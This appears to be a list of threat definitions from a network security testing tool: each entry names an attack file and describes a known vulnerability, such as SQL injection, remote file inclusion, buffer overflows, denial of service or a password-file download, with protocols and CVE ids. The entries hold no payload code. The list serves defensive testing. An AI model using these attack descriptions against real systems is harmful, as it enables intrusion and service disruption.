Detailed Description:	A race condition vulnerability exists in Microsoft Internet Explorer web browser. The vulnerability is due to the way Internet Explorer building DOM objects during page updating. A remote attacker may leverage this vulnerability by interrupting page loading in a way that would allow spoofing of URL address bar, and page properties including SSL certificates. This would enable remote attackers to conduct phishing attacks on the vulnerable clients. A successful attack may results in sensitive information being disclosed to the attacker. The target computer may not show any abnormal behaviour. In some case the affected application might terminate abnormally due to memory corruption.
Protocol Type:	HTTP
CVEID:	CVE-2007-3091
Threat File Name:	TSL20140827-05_SolarWinds_Storage_Manager_AuthenticationFilter_Authentication_Bypass_IPv6.xml
Executive Description:	SolarWinds Storage Manager AuthenticationFilter Authentication Bypass IPv6 version.
Detailed Description:	An authentication bypass vulnerability exists in SolarWinds Storage Manager. The vulnerability is due to a flaw within the AuthenticationFilter class. A remote unauthenticated attacker could exploit this vulnerability by bypassing the authentication filter and uploading malicious scripts to the target. Successful exploitation could result in code execution under the context of the system. Tester should set variable \$destPort 9000 before test.
Protocol Type:	HTTP.IPV6
OSVDB:	110483
Threat File Name:	FSC20040903-01_Apache_2_mod_ssl_Connection_Abort_Denial_of_Service_IPv6.xml
Executive Description:	Apache 2 mod_ssl Connection Abort Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the Apache HTTP server SSL module, mod_ssl. This module, which is responsible for managing encrypted communications, can be forced into an infinite loop by the unexpected termination of connection. This vulnerability may be exploited by an attacker to cause a denial of service condition. (IPv6 Version)
Protocol Type:	SSL/IPv6
CVEID:	CVE-2004-0748
Threat Package:	Standard

Threat File Name:	FSC20090609-22_Microsoft_Office_Excel_Binary_Format_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Excel Binary Format Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A integer overflow vulnerability exists in Microsoft Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed object. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0561
Threat Package:	Standard
Threat File Name:	TSL20130506-11_ClamAV_UPX_File_PE_parsing_Memory_Access_Error_IPv6.xml
Executive Description:	ClamAV UPX File PE parsing Memory Access Error [IPv6, Version]
Detailed Description:	A memory access error vulnerability exists in ClamAV antivirus software. The vulnerability is due to an errors in "pe.c" while parsing UPX-packed executable files. Remote attackers could exploit the vulnerability to cause a denial of service condition.
Protocol Type:	IPv6,HTTP,SMTP,IMAP,POP3
CVEID:	CVE-2013-2020
OSVDB:	92834
Threat File Name:	TSL20131211-01_Microsoft_Internet_Explorer_CVE-2013-5049_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-5049 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted website. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-5049
OSVDB:	100754
Threat File Name:	FSC20090224-13_Adobe_Flash_Player_Invalid_Object_Reference_Code_Execution.xml
Executive Description:	Adobe Flash Player Invalid Object Reference Code Execution
Detailed Description:	A vulnerability exists in the Adobe Flash Player. The vulnerability is a result of referencing to an invalid object when parsing maliciously crafted SWF files. An attacker could exploit this vulnerability by enticing a target user to open a malicious SWF file. Successful exploitation can lead to injection and execution of arbitrary code in the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0520
Threat Package:	Standard
Threat File Name:	vpasp_sqli.xml
Executive Description:	VP-ASP 6.00 SQL Injection
Detailed Description:	This threat sends a crafted HTTP GET query which includes an SQL query which is executed by the server via the "cid" parameter. VP-ASP is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2263
Threat Package:	Standard
Threat File Name:	snort_write_andx_bof.xml
Executive Description:	Snort DCE/RPC Preprocessor Remote Buffer Overflow
Detailed Description:	This threat sends out a SMB packet constructed in such a way that it will cause a buffer overflow and crash Snort 2.6.1.
Protocol Type:	SMB
CVEID:	CVE-2006-5276
OSVDB:	32064
Threat Package:	Standard
Threat File Name:	FSC20040805-01_libpng_Transparency_Chunk_Length_Buffer_Overflow_IPv6.xml
Executive Description:	libpng Transparency Chunk Length Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way libpng handles the transparency chunk of a PNG image. A logic error in the process makes it possible to bypass a length check in the validation process. This error can cause a memory buffer on the stack to be overflowed. It is possible to exploit this vulnerability in such a way as to gain control of the process and execute injected code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0597
Threat Package:	Standard
Threat File Name:	FSC20060314-08_Microsoft_Excel_Malformed_File_Format_Parsing_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed File Format Parsing Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper processing of malformed BOOLERR records within Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0028
Threat Package:	Standard
Threat File Name:	beautifier_rfi.xml
Executive Description:	Beautifier v0.1 Remote File Inclusion Vulnerability

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Beautifier is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	miniweb_post_rdos_IPv6.xml
Executive Description:	MiniWeb Http POST Remote Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a http post with a negative Content-Length field causing MiniWeb servers to crash. Miniweb server is a http server that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3159
Threat Package:	Standard
Threat File Name:	at-tftp_dos_IPv6.xml
Executive Description:	AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Vulnerability (POC) (IPv6 Version)
Detailed Description:	This threat uses a large buffer sent to a vulnerable TFTP server triggering a buffer overflow or denial of service condition. AT-TFTP is a TFTP server that typically listens on udp port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080603-04_Alt-N_MDaemon_WorldClient_Service_Memory_Corruption.xml
Executive Description:	Alt-N MDAemon WorldClient Service Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Alt-N Technologies MDAemon WorldClient. The vulnerability is due to a NULL pointer dereference in processing a malicious HTTP POST request. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the target server, causing the server to crash thereby resulting in a denial of service.
Protocol Type:	HBCI
CVEID:	CVE-2008-2631
Threat Package:	Standard
Threat File Name:	FSC20061212-06_Microsoft_Windows_SNMP_Service_Memory_Corruption.xml
Executive Description:	Microsoft Windows SNMP Service Memory Corruption
Detailed Description:	There exists a remote code execution vulnerability in the Microsoft Windows SNMP service. The flaw is caused by incorrect processing of specially crafted SNMP messages. A remote attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System. If an attack attempt is either unsuccessful in diverting the process flow or is meant to create a denial of service condition, then the affected service will terminate. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System account.
Protocol Type:	SNMP
CVEID:	CVE-2006-5583
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_NETASCII_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_NETASCII_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to netascii with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20150512-33_Microsoft_Windows_VBScript_Regular_Expression_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows VBScript Regular Expression Information Disclosure IPv6 version
Detailed Description:	An information disclosure vulnerability exists in the Microsoft's VBScript engine. The vulnerability is due an error while processing regular expressions which allows a user to disclose memory contents of the current process. By enticing a user to open a web page, an attacker could exploit this vulnerability to bypass the ASLR security feature which can be used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-1684
Threat File Name:	msie_activex_dos_IPv6.xml
Executive Description:	Microsoft Internet Explorer Structured Graphics Control Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 6 triggered by a malicious ActiveX control. Microsoft Internet Explorer 6 is a web browser that typically connects to a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	26839
Threat Package:	Standard
Threat File Name:	sap_waecho_IPv6.xml
Executive Description:	SAP WebAgent Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a HTTP GET request that causes the waecho URL in SAP WebAgent to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0944
OSVDB:	3084
Threat Package:	Standard
Threat File Name:	FSC20101012-26_Microsoft_Office_Excel_PtgExtraArray_Structure_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel PtgExtraArray Structure Parsing Memory Corruption (IPV6 VERSION)

Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel. The vulnerability occurs when parsing and validating PtgExtraArray structure within Formulas records in Excel files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP
CVEID:	CVE-2010-3231
Threat File Name:	linksys_blank_get.xml
Executive Description:	Linksys WRT54G Blank HTTP GET
Detailed Description:	This threat sends a blank HTTP GET request, causing some Linksys routers to freeze and require a hard reboot in order to return to functioning order.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20091005-01_IBM_Informix_Client_SDK_NFX_File_Processing_Stack_Buffer_Overflow.xml
Executive Description:	IBM Informix Client SDK NFX File Processing Stack Buffer Overflow
Detailed Description:	A code execution vulnerability has been reported to exist in IBM Informix Client SDK. The vulnerability is due to an stack buffer overflow when processing ".nfx" files which contain an overly long "HostList" entry. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
Threat Package:	Standard
Threat File Name:	aardvarktopsites_cmi_b.xml
Executive Description:	Aardvark Topsites PHP 4.2.2 Remote Command Execution
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw through a flaw in the lostpw.php script. Aardvark Topsites is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170206-06_LibTIFF_tiffcrop_Integer_Overflow_IPv6.xml
Executive Description:	LibTIFF tiffcrop Integer Overflow (IPv6 Version)
Detailed Description:	An out-of-bounds write vulnerability exists in LibTIFF tiffcrop component. The vulnerability is due to the integer overflow when calculating the size of the image data from the maliciously crafted TIFF image file. A remote attacker could exploit this vulnerability by sending maliciously crafted image files to an application that processes images with the LibTIFF library. Successful exploitation of this vulnerability could lead to denial of service conditions or, in the worst case, arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2016-9537
Threat File Name:	barman_rfi.xml
Executive Description:	Barman 0.0.1r3 (interface.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Barman is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	firefox_hyphen_IPv6.xml
Executive Description:	Firefox Hyphen Hyperlink Denial of Service (IPv6 Version)
Detailed Description:	This threat causes the Mozilla Firefox web browser to crash by copying memory out of bounds. This can lead to a denial of service condition, and possibly remote code execution. This attack comes from web servers, which typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2871
OSVDB:	19255
Threat Package:	Standard
Threat File Name:	hp_ignite_tftp.xml
Executive Description:	HP Ignite-UX TFTP passwd Download
Detailed Description:	This threat issues a TFTP request for a password file that the HP Ignite application can inadvertently expose. The TFTP request is for the file /var/opt/ignite/recovery/passwd.makrec. TFTP typically uses UDP port 69.
Protocol Type:	TFTP
CVEID:	CVE-2004-0951
OSVDB:	18749
Threat Package:	Standard
Threat File Name:	fullaspsite_asp_sql_i_IPv6.xml
Executive Description:	Fullaspsite Asp Hosting SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Fullaspsite ASP Hosting is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090402-10_Microsoft_Office_PowerPoint_Invalid_Object_Reference_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office PowerPoint Invalid Object Reference Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The flaw is due to accessing invalid object in malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0556

Threat Package:	Standard
Threat File Name:	wizzforum_sqli2_IPv6.xml
Executive Description:	Wizz Forum SQL Injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3682
OSVDB:	20846
Threat Package:	Standard
Threat File Name:	TSL20160907-03_Adobe_Flash_Player_Rectangle_Use_After_Free_IPv6.xml
Executive Description:	Adobe Flash Player Rectangle Use After Free (IPv6 Version)
Detailed Description:	A use-after-free vulnerability has been reported in Adobe Flash Player. This vulnerability is due to incorrect handling of objects in memory when creating and manipulating Rectangle objects in memory. A remote, unauthenticated attacker could exploit these vulnerabilities by enticing a victim user to open a maliciously crafted SWF file. Successful exploitation allows the attacker to execute arbitrary code under the security context of the user.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4228
Threat File Name:	TSL20120131-04_Oracle_Outside_In_JPEG_2000_COD_and_COC_Parameter_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In JPEG 2000 COD and COC Parameter Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside In, a set of libraries used to decode many file formats. The vulnerability is exposed when the product is used to handle JPEG 2000 files. Oracle Outside In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-4516
Threat File Name:	TSL20110427-05_Cisco_Unified_Communications_Manager_Multiple_SQL_Injections_IPv6.xml
Executive Description:	Cisco Unified Communications Manager Multiple SQL Injections(IPv6 Version)
Detailed Description:	Multiple SQL injection vulnerabilities exist within Cisco Unified Communications Manager. These vulnerabilities could be exploited by remote attackers to conduct SQL injection attacks on the server. A remote, unauthenticated attacker can exploit this vulnerability to disclose sensitive information.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1610
Threat File Name:	oracle_web_plsql_1.xml
Executive Description:	Oracle PLSQL Bypass Attack One
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by supplying an encoded new line character in the URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20080118-02_Nullsoft_Winamp_Ultravox_Streaming_Metadata_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is due to boundary errors when parsing metadata in Ultravox streaming protocol. An attacker may exploit the vulnerability by enticing a user to visit a malicious server with the affected product, resulting in execution of arbitrary code on the target host within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application may terminate upon processing of the malicious Ultravox Streaming Metadata. In a more sophisticated attack, where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. Tester should turn variable \$destPort into 8090 before test.
Protocol Type:	Ultravox Stream Protocol (HTTP-based)
CVEID:	CVE-2008-0065
OSVDB:	41707
Threat File Name:	vignette_IPv6.xml
Executive Description:	Vignette Application Portal diagnostic access (IPv6 Version)
Detailed Description:	This threat attempts to access developer information from the Vignette application portal software. The software does not have access control restrictions by default, allowing anyone to view the details of how the application is structured. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0917
OSVDB:	10405
Threat Package:	Standard
Threat File Name:	FSC20040921-01_Ipswitch_WhatsUp_Gold_DOS_Device_HTTP_Request_Denial_of_Service_IPv6.xml
Executive Description:	Ipswitch WhatsUp Gold DOS Device HTTP Request Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the web server component of Ipswitch WhatsUp Gold processes a request that contains a special device name. An unhandled exception occurs when an HTTP request containing a reserved DOS device name is processed. An attacker exploiting this vulnerability can cause the web server component to terminate, causing a denial of service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0799
Threat Package:	Standard
Threat File Name:	FSC20100326-08_Apple_Safari_CSS_format_Argument_Handling_Memory_Corruption.xml
Executive Description:	Apple Safari CSS format Argument Handling Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to an error while processing CSS format arguments. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page with a vulnerable application. In attack scenarios where code execution is successful the behaviour of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally, leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0046
Threat Package:	Standard
Threat File Name:	secsuite_ip-logger_rfi_IPv6.xml
Executive Description:	Security Suite IP Logger Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Berlios Security Suite is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5224
Threat Package:	Standard
Threat File Name:	easymail_emsmtplib_activex_bof.xml
Executive Description:	EasyMail Objects EMSMTPLIB.DLL ActiveX Control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the EasyMail Objects (EMSMTPLIB.DLL) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20040329-01_eSignal_Buffer_Overflow.xml
Executive Description:	eSignal Buffer Overflow
Detailed Description:	A buffer overflow exists in eSignal, a real-time market data and support tool. The vulnerability allows remote attackers to execute arbitrary code on vulnerable systems.
Protocol Type:	HTTP
CVEID:	CVE-2004-1868
Threat Package:	Standard
Threat File Name:	originSpoof_IPv6.xml
Executive Description:	Javascript Popup Fishing (IPv6 Version)
Detailed Description:	This threat sends a portion of HTML that creates a popup window over a target web page, attempting to cause the user to send their login details to the wrong site. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2268
OSVDB:	17397
Threat Package:	Standard
Threat File Name:	TSL20121204-02_Opera_Software_Opera_GIF_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Opera Software Opera GIF Processing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Opera. The vulnerability is caused by a heap buffer underflow while processing GIF files with a crafted LZW stream. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted GIF file. Successful exploitation could possibly allow code execution under the security context of the current user. The vendor has released no security advisory regarding this issue at the time of writing
Protocol Type:	IPV6, HTTP, HTTPS
OSVDB:	88101
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_Integer_Overflow.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Integer Overflow
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when processing WRF files. A remote unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing the target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the currently logged on user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2012-1336
OSVDB:	81105
Threat File Name:	TSL20110708-06_FreeType_PostScript_Type1_Font_Parsing_Code_Execution.xml
Executive Description:	FreeType PostScript Type1 Font Parsing Code Execution
Detailed Description:	A code execution vulnerability has been reported in the FreeType font engine. The vulnerability is due to improper validation of the argument count parameter passed to the PostScript operation call othersubr, which can lead to a stack buffer overflow. A remote attacker can entice a target user to download a malicious PostScript or PDF file, and leverage this vulnerability to execute arbitrary code.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2011-0226
Threat File Name:	fuzz-HTTP_AppendformatnToCONNECT.xml
Executive Description:	Fuzz HTTP CONNECT appended with %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090113-23_Oracle_Secure_Backup_Administration_Server_login.php_Cookies_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Cookies Command Injection

Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4006
Threat Package:	Standard
Threat File Name:	ipv6_fin_flood.xml
Executive Description:	FIN Flood IPv6
Detailed Description:	This threat is an IPv6 version of a FIN flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20090811-10_Microsoft_Windows_WINS_Service_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Windows WINS Service Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows that can allow remote attackers to execute arbitrary code on the target system. The vulnerability is due to insufficient validation of certain values in a WINS network packet that could allow for overflowing a heap based buffer. In the case where code injection and execution is successful, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with the SYSTEM privileges of the WINS service.
Protocol Type:	WINS Replication Protocol
CVEID:	CVE-2009-1923
Threat Package:	Standard
Threat File Name:	setslice_IPv6.xml
Executive Description:	Internet Explorer Set Slice Exploit (IPv6 Version)
Detailed Description:	This threat causes a flaw in Microsoft's Internet Explorer. It affects the WebViewFolderIcon ActiveX object. This attack would typically come from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3730
OSVDB:	27110
Threat Package:	Standard
Threat File Name:	dreamftp_bof_IPv6.xml
Executive Description:	BolinTech DreamFTP USER buffer overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes vulnerable DreamFTP when an excessively large USER string issued from a client.DreamFTP Server is an ftp server that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2004-027
OSVDB:	4986
Threat Package:	Standard
Threat File Name:	TSL20140312-03_SpringSource_Spring_Framework_Jaxb2RootElementHttpMessageConverter_XML_External_Entity.xml
Executive Description:	SpringSource Spring Framework Jaxb2RootElementHttpMessageConverter XML External Entity
Detailed Description:	An XML external entity vulnerability exists in SpringSource Spring Framework. The vulnerability is due to incorrectly configured XML parsing in Jaxb2RootElementHttpMessageConverter, which accepts XML external entities from untrusted sources. This vulnerability is due to an incomplete fix for CVE-2013-4152 and CVE-2013-6429. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in the disclosure of information from arbitrary files available in the security context of the server application, server-side request forgery, denial of service and potentially policy bypass.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0054
OSVDB:	104389
Threat File Name:	FSC20080828-03_Red_Hat_Directory_Server_Accept-Language_HTTP_Header_Parsing_Buffer_Overflow.xml
Executive Description:	Red Hat Directory Server Accept-Language HTTP Header Parsing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Red Hat Directory Server. The flaw is due to improper data validation in the Administrator Web Interface component. A remote attacker can trigger this vulnerability by sending crafted HTTP request to the affected service, potentially inject and execute arbitrary code with root level privileges.
Protocol Type:	TCP
CVEID:	CVE-2008-2928
Threat Package:	Standard
Threat File Name:	FSC20080609-04_Novell_GroupWise_Messenger_HTTP_Response_Handling_Stack_Overflow.xml
Executive Description:	Novell GroupWise Messenger HTTP Response Handling Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell GroupWise Messenger product. The flaw is due to improper handling of crafted HTTP responses. An unauthenticated remote attacker can exploit this vulnerability by sending spoofed HTTP responses to the target host. Successful attack could allow for arbitrary code execution with privileges of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2703
Threat Package:	Standard
Threat File Name:	cahier_de_textes_sqli_IPv6.xml
Executive Description:	Cahier De Textes SQL Injection Vulnerability (IPv6 Version)

Detailed Description:	his threat sends a crafted URL that contains an SQL query which is executed by the server. Cahier De Textes an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5221
Threat Package:	Standard
Threat File Name:	TSL20070302-05_Mozilla_Browsers_JavaScript_Argument_Passing_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Mozilla Browsers JavaScript Argument Passing Code Execution Vulnerability(IPV6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The vulnerability is due to an error when processing certain malformed or specially crafted JavaScript code. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the target browser. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack where code injection results is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2007-0777
Threat File Name:	TSL20160712-24_Microsoft_Edge_CVE-2016-3244_Information_Disclosure.xml
Executive Description:	Microsoft Edge CVE-2016-3244 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper implementation of Address Space Layout Randomization (ASLR). A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to bypass ASLR protection that may help in further attacks.
Protocol Type:	HTTP
CVEID:	CVE-2016-3244
Threat File Name:	firefox ftp_dos_IPv6.xml
Executive Description:	Mozilla Firefox FTP Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious ftp server reply to crash vulnerable Firefox browsers. Firefox is a web browser that connects to http and ftp servers which typically listen on ports 80 and 21 respectively. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-4310
Threat Package:	Standard
Threat File Name:	NOOPtcpHP-UNIX2_IPv6.xml
Executive Description:	TCP NOOP Packet Variant HP-UNIX 2 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	hrsTomcat_IPv6.xml
Executive Description:	HTTP Request Smuggling Credential Hijack (IPv6 Version)
Detailed Description:	This threat attempts to redirect a user to a different webpage than what they originally requested, using their credentials. This threat would normally be targeted at a proxy port or port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2090
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	TSL20131101-10_HP_LoadRunner_Virtual_User_Generator_EmulationAdmin_Two_Directory_Traversal.xml
Executive Description:	HP LoadRunner Virtual User Generator EmulationAdmin Two Directory Traversal
